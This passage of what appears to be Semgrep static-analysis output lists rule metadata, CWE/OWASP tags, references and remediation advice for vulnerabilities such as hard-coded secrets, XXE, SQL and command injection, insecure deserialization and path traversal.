Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","id":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","name":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","id":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","name":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","id":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","name":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli)\n - [https://github.com/brianmario/mysql2](https://github.com/brianmario/mysql2)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","id":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","name":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","id":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","name":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","id":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","name":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","id":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","name":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","id":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","name":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"help":{"markdown":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token)\n - [https://docs.djangoproject.com/en/4.2/howto/csrf/](https://docs.djangoproject.com/en/4.2/howto/csrf/)\n","text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"helpUri":"https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token","id":"python.django.security.django-no-csrf-token.django-no-csrf-token","name":"python.django.security.django-no-csrf-token.django-no-csrf-token","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-no-csrf-token.django-no-csrf-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"help":{"markdown":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n","text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","id":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","name":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"help":{"markdown":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this","id":"cpp.lang.correctness.sizeof-this.sizeof-this","name":"cpp.lang.correctness.sizeof-this.sizeof-this","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-this.sizeof-this"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","id":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","name":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"help":{"markdown":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir](https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir)\n - [https://blog.atomist.com/security-of-docker-kubernetes/](https://blog.atomist.com/security-of-docker-kubernetes/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only)\n","text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","id":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","name":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"help":{"markdown":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","id":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","name":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 